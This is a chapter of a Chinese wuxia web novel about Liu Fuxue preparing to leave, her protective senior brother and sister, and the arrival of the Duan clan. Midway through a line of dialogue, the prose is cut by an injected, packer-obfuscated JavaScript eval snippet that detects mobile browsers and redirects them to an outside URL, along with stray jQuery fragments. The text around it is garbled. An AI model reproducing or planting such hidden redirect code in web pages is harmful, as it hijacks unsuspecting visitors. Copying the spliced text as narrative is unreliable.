“柳前辈,”白渚清也帮她说话,“请您放心,此事虽说事关重大,可长安段氏毕竟乃名门望族、正道世家,不是蛮不讲理之辈。段公子之死虽令人叹惋,却到底意外一场,非临安季氏之错,又如何能平白迁怒于他人?况且晚辈已传讯宗门,想必不出少时,便会有锦官白氏之人得令赶来,以从中调节,三派皆在,必然无人敢轻易造次。”
“更何况……有我在,定然会护着师妹,绝不会让她受到一丝伤害。”白渚清看了柳拂雪一眼,眸光闪烁,坚定无比。
柳鸾笙此时也冷静了几分,见柳拂雪这番“宁死不屈”的样子,终是恨铁不成钢的点了点她,转而望向他身后的白渚清,质问道:“你此刻能护着她,难道还能护她一辈子不成?”
白渚清垂下眼帘,未有应答。半晌,才再度抬眸,一言一语,一字一句,掷地有声道:“不敢言一辈子,可但凡有渚清一命尚在,便定然会竭尽全力,护师妹周全。”
若非身化足下土,定伴卿卿无恙度春秋。
柳拂雪忽觉鼻尖有些许发酸,瞧着白渚清高大的身躯,此时弯腰俯首,伏微作低,只为为她求情。
字字句句,言辞恳切,不掺半分假意。
从小到大,皆是师兄这般护着她,此时想来,竟有些许哽咽。
闻言,柳鸾笙的态度也不再似方才那般强硬,轻叹一声,抬首望向窗外。梧桐枝桠,雀鸟筑巢,成群结队,结伴而非……
柳拂雪也顺着她的目光看去。不过是平常光景,在清风山上多了去了,不知姨母在看什么,亦不知她在想什么。
过了许久,才听柳鸾笙继续道:“唉,江湖之事,非是你二人所想的那般简单。你们尚且年轻,还不懂得人心险恶。名门之间,明枪暗箭,争权夺利,也绝非你们一腔热血,便可料得一番如意下场的。此事绝无商量的余地,雪儿,最多三天,你必须离开。至于是随楚涧松回清风山,还是随我去清河,都由你自己决定。”
说罢,不给他们反应的时间,柳鸾笙直接拂袖而去。
“姨母!”柳拂雪急的在后面大喊,却终是徒劳无功。
——————————————分界线——————————————
一连两日,城中平静不已。那些“虾兵蟹将”自她与师兄剿清那日起,便再无新的涌上岸,就连“千年魇章”,也再未出现过。仿佛前几日的一番波折,不过是黄粱一梦。
若非段流川的灵柩常摆于医馆之中,柳拂雪当真都要怀疑,之前的一切是不是真的都发生过了。
季氏弟子不可逗留城中太久,且段流川之死已飞鸽传书于长安,想来不久,长安段氏的人便该赶来了。于是第三日一早,众弟子便开始整装待发,准备晚上便回季家庄。
而今日过后,柳拂雪就得随楚涧松离开了。
她还有行囊落于季家庄,季疏影也担忧她这几日睡草席陋床,未有休息好,路途劳顿,会撑不住,便带着他们先行一步,率先回了季家庄。
竹影在纸窗上婆娑,柳拂雪正看着自己被塞了满手的瓶瓶罐罐,眉头直挑。
“师姐,不用带这么多吧……”
“路上不知会发生什么变故,你将这些都带上,有备无患。”
羊脂玉瓶贴着朱砂小楷,金疮药、清心丸、避瘴散被码得齐整。季疏影叠好最后一件月白劲装。又将新绣的平安符塞进夹层,又悄悄垫了张五十两的银票。
“师妹,这是上个月新裁的云锦衫,你且带着穿。还有这银票,你……”
话还未说完,便被人扑了个满怀,不免心中一颤,身形微微僵了一瞬。
柳拂雪“毛茸茸”的脑袋在季疏影的脖颈间蹭了蹭,青丝微乱,惹的季疏影有些泛痒。
柳拂雪强压住鼻头哽咽,念念不舍的嘟囔道:“师姐……我舍不得你……”
季疏影闻言一愣,唇角一弯,轻笑一声。伸手轻轻摸了摸她的脑袋,无奈道:“不过是分别十天半月,又不是以后都见不到了。师妹,你放心,等此间事了,师姐定回山上看你。”
柳拂雪松开了抱着她的手,却还是紧紧贴在师姐的旁边,轻转了转手上细链,这也是师姐送予她的嘟囔道:“师姐骗人,你是师兄以前都是这么说的,结果呢?别说十天半月了,只怕是十年半载都不一定回的来……此次一别,还不知道什么时候才能再相见呢……”
他们三人小时候可是形影不离,练辰功,习夜游,一日三餐,皆在一起。可是后来慢慢长大,师姐和师兄皆有自己宗门事情要忙,便只留下她一个人了。
虽说心中难过,但到底是理解为上。柳拂雪也明了师兄师姐肩上的名门枷锁,宗室重担,此次一番话,也不过是逗师姐玩的。
谁料季疏影却当了真,上前几步来,紧紧握住她的手,心疼道:“师妹,我……”
“噗嗤”一声,柳拂雪忍不住笑出声来,看见季疏影微微一愣的模样,有些好笑,“师姐,我是逗你玩的!我知道,你们都有自己的责任要背,自己的义务要办,放心,你师妹我不是那般小肚鸡肠的人!”说完,还煞有介事的拍了拍自己的胸脯。
见她如此,季疏影也明了了,只得一笑,轻捏了捏她的脸颊,无奈道:“你啊……”
“哈哈哈……”柳拂雪也笑起来。
两人嬉闹一番,恍惚间,竟又似回到了孩童时期……
忽听“咚咚咚——”几声传来,两人赶紧停下了玩闹。
季疏影率先开口问道:“何人在外?”
门外人应道:“是我。”
那声音她再熟悉不过了。
柳拂雪连忙一把拉开门,看到心中所想之人的脸庞,瞬间眉开眼笑,喊道:“师兄!”
白渚清正捧着两个纸包,瞧见她,也笑了笑,“何时笑的如此开心?”
说罢,随着她探身进来,看见季疏影,便瞬间明白了,也付之一笑,问候道:“二师妹也在啊。”
季疏影颔首应道:“大师兄。”
“师兄,你怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367779|161380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么来啦?”柳拂雪带着白渚清退回屋内,迫不及待问道。
“喏,”闻言,白渚清举了举自己手上的纸包,放到桌上,“你爱吃的板栗饼、桂花糕、核桃酥,还有糖葫芦……我都给你买来了,你先填填肚子,剩下的带在路上吃。”
“哇。”柳拂雪随手捞起一个就往嘴里送,一口软糯,霎时香甜糊了满口,“师兄,又让你破费了。”
“几份糕点而已,如何算的上破费。慢点吃,小心噎着。”白渚清拎起桌上茶盏,替她斟了一杯茶。
季疏影则掏出手帕,替她擦去满嘴糕点渣。
柳拂雪刚咽下一口茶,却又听“咚咚咚——”声传来,是又有人在外面敲门。
“谁啊?”她开口问道。
白渚清和季疏影闻言也看向门扉方向。
“柳姑娘,请问我家姑娘在您这吗?”
看来这是找季疏影的了。
季疏影上前几步,拉开房门,只见一身着季氏青衣的少年正站于门外,见着她,赶紧恭恭敬敬的一拱手,道:“姑娘。”
“找我何事?”季疏影问道。
“姑娘,宗主正找您呢,说是……说是长安段氏的人到了。”
季疏影瞬间眼神一凛,柳拂雪也坐不住了,脱口而出道:“什么?这么快?”
看来长安段氏这是快马加鞭,一刻也等不及了。
她实在怕长安段氏会对师姐有什么不利,想也不想,便道:“师姐,要不我随你一起去吧?”
季疏影却是摇了摇头,“此事乃我临安季氏与长安段氏的私事,你不该牵涉其中。”
“可是……”柳拂雪还想坚持,却被季疏影给打断了。
季疏影浅眸淡淡扫过那少年一眼,问道:“段氏来的是何人?”
少年摇了摇头,道:“这个……弟子不知。”
“那宗主可还有说些什么?或还有叫什么人?”
“宗主没有再说其他了。至于还有什么人……”那少年摸了摸下巴,思考了半晌,却最终还是摇了摇头,“应该也没有了。”
见状,季疏影点了点头,对那少年道:“你先下去吧,我正与师妹叙旧,一会儿自己过去。”
“是。”那少年得了令,也不多逗留,刚要抬步,却忽被叫住。
“对了,门中弟子目前回来了几成?”
“回姑娘,大部分弟子还留在城中善后,此时应当是只回来了四成。”
“你传我命令,通知城中尚余所有弟子,以最快的速度回季家庄,片刻不可耽搁。”
“是!”
那弟子得了令,赶紧快步退下了。
季疏影沉思片刻,忽察觉到身旁炙热的目光,一转头,便见柳拂雪快要溢出眼眶的担忧,轻笑了笑:“无事师妹,这里是临安季氏的地盘,段氏人不敢对我怎么样的。”
“只是此事我的确脱不了责任,待我去与他们诚心道歉一番,尽我所能予之补偿,想来,应是不会场面太难看的。”